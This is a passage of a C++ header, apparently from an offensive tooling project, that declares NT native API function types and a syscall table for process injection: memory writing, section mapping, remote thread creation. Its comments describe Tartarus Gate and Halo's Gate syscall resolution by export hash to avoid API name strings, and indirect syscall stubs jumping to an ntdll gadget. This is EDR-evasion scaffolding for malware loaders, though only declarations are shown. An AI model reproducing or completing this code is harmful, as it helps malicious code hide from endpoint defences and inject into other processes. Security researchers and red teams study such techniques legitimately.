using fnNtMapViewOfSection = NTSTATUS(NTAPI*)(
HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits,
SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize,
ULONG InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
using fnNtUnmapViewOfSection = NTSTATUS(NTAPI*)(
HANDLE ProcessHandle, PVOID BaseAddress);
using fnNtOpenProcess = NTSTATUS(NTAPI*)(
PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES_NT ObjectAttributes,
PCLIENT_ID_NT ClientId);
using fnNtCreateThreadEx = NTSTATUS(NTAPI*)(
PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES_NT ObjectAttributes,
HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags,
ULONG_PTR ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize,
PVOID AttributeList);
using fnNtClose = NTSTATUS(NTAPI*)(HANDLE Handle);
using fnNtQuerySystemInformation = NTSTATUS(NTAPI*)(
ULONG SystemInformationClass, PVOID SystemInformation,
ULONG SystemInformationLength, PULONG ReturnLength);
using fnNtCreateFile = NTSTATUS(NTAPI*)(
PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES_NT ObjectAttributes,
PIO_STATUS_BLOCK_NT IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes,
ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer,
ULONG EaLength);
using fnNtReadFile = NTSTATUS(NTAPI*)(
HANDLE FileHandle, HANDLE Event, PVOID ApcRoutine, PVOID ApcContext,
PIO_STATUS_BLOCK_NT IoStatusBlock, PVOID Buffer, ULONG Length,
PLARGE_INTEGER ByteOffset, PULONG Key);
struct SyscallTable {
fnNtAllocateVirtualMemory NtAllocateVirtualMemory = nullptr;
fnNtProtectVirtualMemory NtProtectVirtualMemory = nullptr;
fnNtWriteVirtualMemory NtWriteVirtualMemory = nullptr;
fnNtFreeVirtualMemory NtFreeVirtualMemory = nullptr;
fnNtCreateSection NtCreateSection = nullptr;
fnNtMapViewOfSection NtMapViewOfSection = nullptr;
fnNtUnmapViewOfSection NtUnmapViewOfSection = nullptr;
fnNtOpenProcess NtOpenProcess = nullptr;
fnNtCreateThreadEx NtCreateThreadEx = nullptr;
fnNtClose NtClose = nullptr;
fnNtQuerySystemInformation NtQuerySystemInformation = nullptr;
PVOID gadget = nullptr;
bool initialized = false;
};
// Tartarus Gate + Halo's Gate SSN resolution by export hash (no API name strings).
std::uint32_t ResolveSSN(HMODULE ntdll, std::uint32_t exportHash);
// Find `syscall; ret` gadget in ntdll .text for indirect syscalls.
PVOID FindSyscallGadget(HMODULE ntdll);
// Build indirect syscall stub: mov r10,rcx / mov eax,SSN / jmp [gadget].
PVOID CreateIndirectStub(std::uint32_t ssn, PVOID gadget);
// Initialize full syscall table with indirect stubs.
bool Initialize(SyscallTable& table);
void CleanupStubs();
} // namespace TartarusGate